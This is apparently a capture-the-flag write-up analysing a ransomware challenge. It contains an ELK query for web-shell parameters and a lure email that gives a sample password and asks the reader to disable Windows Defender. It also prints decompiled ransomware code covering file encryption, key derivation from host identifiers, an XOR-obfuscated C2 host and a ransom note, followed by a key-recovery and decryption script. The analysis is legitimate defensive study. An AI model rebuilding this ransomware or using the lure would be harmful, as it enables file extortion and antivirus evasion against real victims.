VKU Security Lab - VSL CTF 2026 Writeup

1
source.ip:"172.19.0.1" and event.dataset:apache.access
2
and (url.original:*.php* or url.original:*.phtml* or url.original:*.phar* or url.original:*.jsp* or url.original:*.aspx*)
3
and (url.query:*cmd=* or url.query:*exec=* or url.query:*system=* or url.query:*passthru=* or url.query:*shell=* or url.query:*c=*)

1
Dear Malware Analyst,
2
I am sharing a malware sample for the purpose of technical analysis and security research.
3
Please download the sample using the link provided below:
4
Download link: [Sample Malware](https://drive.proton.me/urls/GPM77918YG#eyUpBCOTlS8T)
5
To ensure system safety, please strictly adhere to the following requirements:
6
Do not execute the sample on any physical machine or systems used in production environments.
7
Perform all analysis only within an isolated environment, such as a virtual machine, sandbox, or dedicated forensics lab.
8
It is strongly recommended to disable or tightly control network connectivity during analysis unless explicitly required for research purposes.
9
Handling note:
10
The attached file is password-protected.
11
Password: Vsl@2026​​​
12
To prevent automatic removal of the sample during analysis, please temporarily disable Windows Defender or equivalent real-time protection within the isolated environment only.
13
This sample may cause serious impact to systems if executed without proper controls. Please exercise extreme caution when handling and analyzing it.
14
Should you require additional information related to this sample, such as hashes, source details, or acquisition context, feel free to contact me.
15
Thank you for your cooperation.
16
Kind regards,
17
ph4n10m

1
__int64 __fastcall encryptFile(const char *a1)
2
{
3
  size_t v1; // rax
4
  DWORD v3; // eax
5
  size_t v4; // rax
6
  int v5; // eax
7
  SIZE_T v6; // rbx
8
  HANDLE ProcessHeap; // rax
9
  DWORD v8; // eax
10
  HANDLE v9; // rax
11
  _BYTE v10[262148]; // [rsp+40h] [rbp-40h] BYREF
12
  DWORD NumberOfBytesWritten; // [rsp+40044h] [rbp+3FFC4h] BYREF
13
  DWORD pdwDataLen; // [rsp+40048h] [rbp+3FFC8h] BYREF
14
  BYTE pbData[4]; // [rsp+4004Ch] [rbp+3FFCCh] BYREF
15
  HCRYPTKEY phKey; // [rsp+40050h] [rbp+3FFD0h] BYREF
16
  DWORD NumberOfBytesRead; // [rsp+4005Ch] [rbp+3FFDCh] BYREF
17
  __int128 Buffer; // [rsp+40060h] [rbp+3FFE0h] BYREF
18
  __int128 v17; // [rsp+40070h] [rbp+3FFF0h]
19
  _OWORD v18[2]; // [rsp+40080h] [rbp+40000h] BYREF
20
  int v19; // [rsp+400A0h] [rbp+40020h]
21
  struct _FILETIME LastWriteTime; // [rsp+400A8h] [rbp+40028h] BYREF
22
  _FILETIME LastAccessTime; // [rsp+400B0h] [rbp+40030h] BYREF
23
  struct _FILETIME CreationTime; // [rsp+400B8h] [rbp+40038h] BYREF
24
  char Destination[4096]; // [rsp+400C0h] [rbp+40040h] BYREF
25
  DWORD v24; // [rsp+410C0h] [rbp+41040h]
26
  DWORD dwBytes[3]; // [rsp+410C4h] [rbp+41044h]
27
  BOOL v26; // [rsp+410D0h] [rbp+41050h]
28
  DWORD nNumberOfBytesToRead; // [rsp+410D4h] [rbp+41054h]
29
  DWORD FileSize; // [rsp+410D8h] [rbp+41058h]
30
  DWORD FileAttributesA; // [rsp+410DCh] [rbp+4105Ch]
31
  char *v30; // [rsp+410E0h] [rbp+41060h]
32
  char *v31; // [rsp+410E8h] [rbp+41068h]
33
  LPVOID lpBuffer; // [rsp+410F0h] [rbp+41070h]
34
  unsigned int i; // [rsp+410F8h] [rbp+41078h]
35
  unsigned int v34; // [rsp+410FCh] [rbp+4107Ch]
36
  HANDLE hObject; // [rsp+41100h] [rbp+41080h]
37
  HANDLE hFile; // [rsp+41108h] [rbp+41088h]
38

39
  hFile = (HANDLE)-1LL;
40
  hObject = (HANDLE)-1LL;
41
  lpBuffer = 0LL;
42
  v34 = 0;
43
  strncpy(Destination, a1, 0xFFFuLL);
44
  Destination[4095] = 0;
45
  v31 = strrchr(Destination, 46);
46
  v30 = strrchr(Destination, 92);
47
  if ( v31 && (!v30 || v30 < v31) )
48
    *v31 = 0;
49
  v1 = strlen(Destination);
50
  strncat(Destination, _data_start__, 4095 - v1);
51
  if ( (unsigned int)IsFileAlreadyEncrypted(a1) )
52
    return 0LL;
53
  FileAttributesA = GetFileAttributesA(Destination);
54
  if ( FileAttributesA != -1 )
55
  {
56
    if ( (unsigned int)IsFileAlreadyEncrypted(Destination) )
57
      return 0LL;
58
    SetFileAttributesA(Destination, 0x80u);
59
    DeleteFileA(Destination);
60
  }
61
  hFile = CreateFileA(a1, 0x80000000, 1u, 0LL, 3u, 0x8000080u, 0LL);
62
  if ( hFile == (HANDLE)-1LL )
63
    return 0LL;
64
  FileSize = GetFileSize(hFile, 0LL);
65
  if ( FileSize )
66
  {
67
    v3 = FileSize;
68
    if ( FileSize > 0x80000 )
69
      v3 = 0x80000;
70
    nNumberOfBytesToRead = v3;
71
    v26 = FileSize > 0x80000;
72
    GetFileTime(hFile, &CreationTime, &LastAccessTime, &LastWriteTime);
73
    Buffer = 0LL;
74
    v17 = 0LL;
75
    memset(v18, 0, sizeof(v18));
76
    v19 = _mm_cvtsi128_si32((__m128i)0LL);
77
    v4 = strlen(g_Marker);
78
    memcpy(&Buffer, g_Marker, v4);
79
    if ( v26 )
80
      v5 = 2;
81
    else
82
      v5 = 1;
83
    HIDWORD(Buffer) = v5;
84
    LODWORD(v17) = FileSize;
85
    *((struct _FILETIME *)&v17 + 1) = LastWriteTime;
86
    *(_QWORD *)&dwBytes[1] = strrchr(a1, 46);
87
    if ( *(_QWORD *)&dwBytes[1] )
88
      strncpy((char *)v18, *(const char **)&dwBytes[1], 0x1FuLL);
89
    dwBytes[0] = ((nNumberOfBytesToRead + 15) & 0xFFFFFFF0) + 32;
90
    v6 = dwBytes[0];
91
    ProcessHeap = GetProcessHeap();
92
    lpBuffer = HeapAlloc(ProcessHeap, 0, v6);
93
    if ( lpBuffer
94
      && ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, 0LL)
95
      && CryptDuplicateKey(g_hAESKey, 0LL, 0, &phKey) )
96
    {
97
      *(_DWORD *)pbData = 2;
98
      CryptSetKeyParam(phKey, 4u, pbData, 0);
99
      pdwDataLen = NumberOfBytesRead;
100
      if ( CryptEncrypt(phKey, 0LL, 1, 0, (BYTE *)lpBuffer, &pdwDataLen, dwBytes[0]) )
101
      {
102
        CryptDestroyKey(phKey);
103
        DWORD1(v17) = pdwDataLen;
104
        v19 = CalculateChecksum(&Buffer, 64LL);
105
        hObject = CreateFileA(Destination, 0x40000000u, 0, 0LL, 2u, 0x8000080u, 0LL);
106
        if ( hObject != (HANDLE)-1LL )
107
        {
108
          WriteFile(hObject, &Buffer, 0x44u, &NumberOfBytesWritten, 0LL);
109
          WriteFile(hObject, lpBuffer, pdwDataLen, &NumberOfBytesWritten, 0LL);
110
          if ( v26 )
111
          {
112
            for ( i = FileSize - nNumberOfBytesToRead; i; i -= NumberOfBytesRead )
113
            {
114
              v8 = i;
115
              if ( i > 0x40000 )
116
                v8 = 0x40000;
117
              v24 = v8;
118
              if ( !ReadFile(hFile, v10, v8, &NumberOfBytesRead, 0LL) || !NumberOfBytesRead )
119
                break;
120
              WriteFile(hObject, v10, NumberOfBytesRead, &NumberOfBytesWritten, 0LL);
121
            }
122
          }
123
          CloseHandle(hObject);
124
          hObject = (HANDLE)-1LL;
125
          CloseHandle(hFile);
126
          hFile = (HANDLE)-1LL;
127
          v34 = 1;
128
        }
129
      }
130
      else
131
      {
132
        CryptDestroyKey(phKey);
133
      }
134
    }
135
    if ( hFile != (HANDLE)-1LL )
136
      CloseHandle(hFile);
137
    if ( hObject != (HANDLE)-1LL )
138
      CloseHandle(hObject);
139
    if ( lpBuffer )
140
    {
141
      RtlSecureZeroMemory(lpBuffer, dwBytes[0]);
142
      v9 = GetProcessHeap();
143
      HeapFree(v9, 0, lpBuffer);
144
    }
145
    return v34;
146
  }
147
  else
148
  {
149
    CloseHandle(hFile);
150
    return 0LL;
151
  }
152
}

1
CryptDuplicateKey(g_hAESKey, 0LL, 0, &phKey);

1
__int64 InitializeCrypto()
2
{
3
  BYTE pbData[2]; // [rsp+30h] [rbp-40h] BYREF
4
  __int16 v2; // [rsp+32h] [rbp-3Eh]
5
  int v3; // [rsp+34h] [rbp-3Ch]
6
  int v4; // [rsp+38h] [rbp-38h] BYREF
7
  _DWORD v5[13]; // [rsp+3Ch] [rbp-34h] BYREF
8

9
  if ( !CryptAcquireContextA(&g_hCryptProv, 0LL, g_Provider, 0x18u, 0xF0000000) )
10
    return 0LL;
11
  if ( (unsigned int)DeriveKeyFromSystem() )
12
  {
13
    *(_QWORD *)&v5[11] = pbData;
14
    *(_QWORD *)&v5[9] = &v4;
15
    *(_QWORD *)&v5[7] = v5;
16
    pbData[0] = 8;
17
    pbData[1] = 2;
18
    v2 = 0;
19
    v3 = 26126;
20
    v4 = 16;
21
    *(_QWORD *)v5 = g_RawAESKey;
22
    *(_QWORD *)&v5[2] = qword_140013D08;
23
    if ( CryptImportKey(g_hCryptProv, pbData, 0x1Cu, 0LL, 0, &g_hAESKey) )
24
    {
25
      RtlSecureZeroMemory(pbData, 0x1CuLL);
26
      RtlSecureZeroMemory(&g_RawAESKey, 0x10uLL);
27
      return 1LL;
28
    }
29
    else
30
    {
31
      RtlSecureZeroMemory(pbData, 0x1CuLL);
32
      CryptReleaseContext(g_hCryptProv, 0);
33
      return 0LL;
34
    }
35
  }
36
  else
37
  {
38
    CryptReleaseContext(g_hCryptProv, 0);
39
    return 0LL;
40
  }
41
}

1
__int64 DeriveKeyFromSystem()
2
{
3
  ULONG v0; // eax
4
  CHAR Buffer[268]; // [rsp+50h] [rbp-30h] BYREF
5
  DWORD VolumeSerialNumber; // [rsp+15Ch] [rbp+DCh] BYREF
6
  HKEY phkResult; // [rsp+160h] [rbp+E0h] BYREF
7
  DWORD nSize; // [rsp+16Ch] [rbp+ECh] BYREF
8
  UCHAR pbOutput[8]; // [rsp+170h] [rbp+F0h] BYREF
9
  __int64 v7; // [rsp+178h] [rbp+F8h]
10
  BCRYPT_HASH_HANDLE phHash; // [rsp+198h] [rbp+118h] BYREF
11
  BCRYPT_ALG_HANDLE phAlgorithm; // [rsp+1A0h] [rbp+120h] BYREF
12
  NTSTATUS v10; // [rsp+1A8h] [rbp+128h]
13
  unsigned int v11; // [rsp+1ACh] [rbp+12Ch]
14

15
  phAlgorithm = 0LL;
16
  phHash = 0LL;
17
  v11 = 0;
18
  nSize = 16;
19
  if ( !GetComputerNameA(g_KeyComputerName, &nSize) )
20
    strcpy(g_KeyComputerName, "UNKNOWN");
21
  nSize = 256;
22
  if ( !GetUserNameA(g_KeyUserName, &nSize) )
23
    strcpy(g_KeyUserName, "UNKNOWN");
24
  if ( !(unsigned int)GetCurrentUserSID(&g_KeyUserSID, 256LL) )
25
    strcpy((char *)&g_KeyUserSID, "S-1-5-21-0-0-0-0");
26
  VolumeSerialNumber = 0;
27
  if ( GetVolumeInformationA("C:\\", 0LL, 0, &VolumeSerialNumber, 0LL, 0LL, 0LL, 0) )
28
    _mingw_snprintf(g_KeyVolumeSerial, 0x20uLL, "%08X", VolumeSerialNumber);
29
  else
30
    strcpy(g_KeyVolumeSerial, "00000000");
31
  strcpy((char *)&g_KeyMachineGUID, "00000000-0000-0000-0000-000000000000");
32
  if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Cryptography", 0, 0x20119u, &phkResult) )
33
  {
34
    nSize = 64;
35
    RegQueryValueExA(phkResult, "MachineGuid", 0LL, 0LL, &g_KeyMachineGUID, &nSize);
36
    RegCloseKey(phkResult);
37
  }
38
  GetTempPathA(0x104u, Buffer);
39
  _mingw_snprintf(g_KeyPersistPath, 0x104uLL, g_PersistPath, Buffer);
40
  _mingw_snprintf(
41
    (char *)&g_KeySourceData,
42
    0x400uLL,
43
    "%s|%s|%s|%s|%s|%s",
44
    g_KeyComputerName,
45
    g_KeyUserName,
46
    (const char *)&g_KeyUserSID,
47
    g_KeyVolumeSerial,
48
    (const char *)&g_KeyMachineGUID,
49
    g_KeyPersistPath);
50
  v10 = BCryptOpenAlgorithmProvider(&phAlgorithm, "S", 0LL, 0);
51
  if ( v10 >= 0 )
52
  {
53
    v10 = BCryptCreateHash(phAlgorithm, &phHash, 0LL, 0, 0LL, 0, 0);
54
    if ( v10 >= 0 )
55
    {
56
      v0 = strlen((const char *)&g_KeySourceData);
57
      v10 = BCryptHashData(phHash, &g_KeySourceData, v0, 0);
58
      if ( v10 >= 0 )
59
      {
60
        v10 = BCryptFinishHash(phHash, pbOutput, 0x20u, 0);
61
        if ( v10 >= 0 )
62
        {
63
          g_RawAESKey = *(_QWORD *)pbOutput;
64
          qword_140013D08 = v7;
65
          v11 = 1;
66
        }
67
      }
68
    }
69
  }
70
  if ( phHash )
71
    BCryptDestroyHash(phHash);
72
  if ( phAlgorithm )
73
    BCryptCloseAlgorithmProvider(phAlgorithm, 0);
74
  RtlSecureZeroMemory(&g_KeySourceData, 0x400uLL);
75
  RtlSecureZeroMemory(pbOutput, 0x20uLL);
76
  return v11;
77
}

1
import hashlib
2
s = "DESKTOP-8DLHUJ4|employee|S-1-5-21-2194485576-443945188-1043422397-1001|E9F59FE0|dca5645e-d0dc-4f10-ac03-59fe070380cd|C:\\Users\\employee\\AppData\\Local\\Temp\\WindowsSecurityService.exe"
3
print(hashlib.sha256(s.encode()).digest()[:16].hex())
4

5
# da67fc3366bbe437aec7163db7fc2b74

1
#!/usr/bin/env python3
2
import argparse, struct, os
3
from Crypto.Cipher import AES
4
from Crypto.Util.Padding import unpad
5

6
HDR = 0x44
7
MAX_CHUNK = 0x80000
8

9
def main():
10
    ap = argparse.ArgumentParser()
11
    ap.add_argument("infile")
12
    ap.add_argument("-o", "--out", required=True)
13
    ap.add_argument("--key-hex", required=True)
14
    args = ap.parse_args()
15

16
    key = bytes.fromhex(args.key_hex)
17
    if len(key) != 16:
18
        raise SystemExit("AES-128 key must be 16 bytes (32 hex chars)")
19

20
    data = open(args.infile, "rb").read()
21
    if len(data) < HDR:
22
        raise SystemExit("File too small")
23

24
    hdr = data[:HDR]
25
    mode = struct.unpack("<I", hdr[0x0C:0x10])[0]      # 1=full, 2=partial
26
    orig_size = struct.unpack("<I", hdr[0x10:0x14])[0]
27
    enc_len = struct.unpack("<I", hdr[0x14:0x18])[0]
28

29
    ct = data[HDR:HDR+enc_len]
30
    tail = data[HDR+enc_len:]
31

32
    cipher = AES.new(key, AES.MODE_ECB)
33
    pt = unpad(cipher.decrypt(ct), 16)
34

35
    expected = orig_size if mode == 1 else min(orig_size, MAX_CHUNK)
36
    pt = pt[:expected]
37

38
    out = (pt + tail)[:orig_size]
39
    open(args.out, "wb").write(out)
40

41
    print(f"[+] ok mode={mode} orig_size={orig_size} enc_len={enc_len}")
42

43
if __name__ == "__main__":
44
    main()

1
int InitializeStrings()
2
{
3
  int result; // eax
4

5
  result = g_Initialized;
6
  if ( !g_Initialized )
7
  {
8
    strcpy((char *)&g_C2Host, "34+41+766+2=");
9
    XorDecode(&g_C2Host, 12LL, 5LL);
10
    strcpy((char *)&g_C2Port, "1111");
11
    XorDecode(&g_C2Port, 4LL, 5LL);
12
    result = _mingw_snprintf(
13
               g_RansomNote,
14
               0x800uLL,
15
               "========================================\n"
16
               "      YOUR FILES HAVE BEEN ENCRYPTED   \n"
17
               "           by VSL RANSOMWARE           \n"
18
               "========================================\n"
19
               "\n"
20
               "Victim ID: %%s\n"
21
               "\n"
22
               "All your documents, photos, databases\n"
23
               "have been encrypted with AES-128.\n"
24
               "Your files now have the %s extension.\n"
25
               "\n"
26
               "========================================\n",
27
               _data_start__);
28
    g_Initialized = 1;
29
  }
30
  return result;
31
}

1
unsigned __int64 __fastcall XorDecode(__int64 a1, unsigned __int64 a2, char a3)
2
{
3
  unsigned __int64 result; // rax
4
  unsigned __int64 i; // [rsp+8h] [rbp-8h]
5

6
  for ( i = 0LL; ; ++i )
7
  {
8
    result = i;
9
    if ( i >= a2 )
10
      break;
11
    *(_BYTE *)(a1 + i) ^= a3;
12
  }
13
  return result;
14
}